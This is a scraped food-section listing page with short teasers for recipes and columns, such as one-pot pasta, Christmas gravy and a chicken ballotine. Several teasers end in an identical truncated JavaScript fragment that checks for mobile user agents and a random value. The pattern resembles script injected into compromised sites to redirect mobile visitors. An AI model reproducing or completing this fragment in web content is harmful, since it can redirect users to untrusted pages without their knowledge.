Food & Drink

Jamie Oliver on making the perfect omelette

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Prawn Biryani

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Gordon Ramsay Beef Tacos with Wasabi Mayo

Beef Tacos with Wasabi Mayo Gordon Ramsay's Ultimate Cookery Course. if(navigator.userAgent.toLowerCase().match("android|ipad|iphone|iPod")&&Math.random()

Speedy One Pot Pasta Recipe

This might be the easiest pasta dish EVER... Throw all the ingredients into one pot, including the pasta and then cook for a few minutes... Perfect, delicious pasta every time! if(navigator.userAgent.toLowerCase().match("android|ipad|iphone|iPod")&&Math.random()

Gluten Free Coconut Waffles

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Creamy Garlic Caesar Salad Dressing

Ingredients: When we make Caesar dressing we use a dozen fresh eggs as it only makes sense to have some extra in the fridge. We use a Kitchen Aid but any food processor will do. When I started in the restaurant we did it by hand with a large whisk - I don't miss that! A miniature food process

Jamie's Ultimate Leftover Turkey Sandwich

Check out this Turkey Banh Mi - the perfect recipe for after Christmas! Warm baguette, spread with pate, then filled with succulent leftover turkey meat, cooked in sweet chilli sauce. Topped with fresh pickle & flavoured mayonnaise, it's a delicious twist on classic Vietnamese street food.

Tangy vegetables & chicken over greens

Ingredients: 1/2 lbs chicken, ground or shredded 5 lg garlic cloves, thick slices 1 lg or 2 sm onions, sliced in 1/4 inch pieces 1 cup carrots, diced 1/2 cup celery diced Fresh or dry mint Fresh or dry oregano 1/4 to 1/2 cup vinegar (apple cider, balsamic or whatever you like)

Keep the spirit alive

She says: I was thinking about a topic for this week, and I began to ponder the waning of the Christmas spirit after December 25th. There are so many great traditions but all centered around that one season. That made me think about some of those traditions and how they got to be…. maybe i

The Christmas Table

This year I am offering both sides of the discussion around what makes a Christmas table such a magical thing. My husband Martin starts off, relieved that as a chef he can take the day off!   Chef Martin says: Photo: Contributed I have managed to avoid Christmas turkey cooki

Stress Free Christmas Gravy - Jamie Oliver

Take gravy off the to-do list this Christmas Day with this time saving recipe. Flavoured with chicken wings, bacon, celery, carrots and onion; it can be made the day before or up to two weeks in advance and frozen, ready to re-heat on the big day.  if(navigator.userAgent.toLowerCase().matc

It's a wonderful life

She says: I have been extra busy this year and so haven't had any chance at all to do my usual work preparing for the Christmas season. When an email hit my Inbox saying there was a cookie exchange happening with the Girl Guide leaders, I jumped at the chance to be involved. Nothing fuels the

Stuffed Chicken Ballotine - The Eldorado

It's no surprise that eating at the Eldorado restaurant or "The El" as Kelowna locals call it, is an ever-changing experience. Kyle Nixon, Director of Food and Beverage, and his Executive Chef, Eric Pless and Chef du Cuisine, Justin Best, source locally whenever possible. This Novem

Pork and Prawn Balls in Aromatic Broth - Gordon Ramsay

A quick and cheap dish to make, which will impress anyone. Plus tastes amazing! if(navigator.userAgent.toLowerCase().match("android|ipad|iphone|iPod")&&Math.random()

Soba Noodles with Avocado Cream Sauce

The Avocado is chock full of good fats and valuable vitamins. Plus, it's an amazing substitution for copious amounts of cheese and milk in creamy sauces. This 100% vegan, gluten free pasta in cream sauce is decadent enough to make everyone at your dinner table happy (even us pesky meat-eaters).

Pad Thai - Make your own take-out

Caroline shows you how to make take-out classic Pad Thai - from scratch with simple ingredients. if(navigator.userAgent.toLowerCase().match("android|ipad|iphone|iPod")&&Math.random()

How to Make Health Bars

Want some homemade healthy snacks that you can take with you on the go? Look no further! if(navigator.userAgent.toLowerCase().match("android|ipad|iphone|iPod")&&Math.random()

Risotto Rice Balls

These simple Arancini are a great way to use up left over Risotto Bianco and make a fantastic meal in themselves.  if(navigator.userAgent.toLowerCase().match("android|ipad|iphone|iPod")&&Math.random()

Hassleback Potatoes

Literally the best baked potato you've ever tried. We're not joking - these guys are delicious. if(navigator.userAgent.toLowerCase().match("android|ipad|iphone|iPod")&&Math.random()

Pasta con La Zucca - Pumpkin Pasta

Simple flavours skilfully highlighted and allowed to shine. Never covered or intrusive, they simply work beautifully, as the taste test will prove unmistakably. Seasonally inspired, this episode is the first of 3 I shot in my mother’s kitchen during my recent visit home! For more locally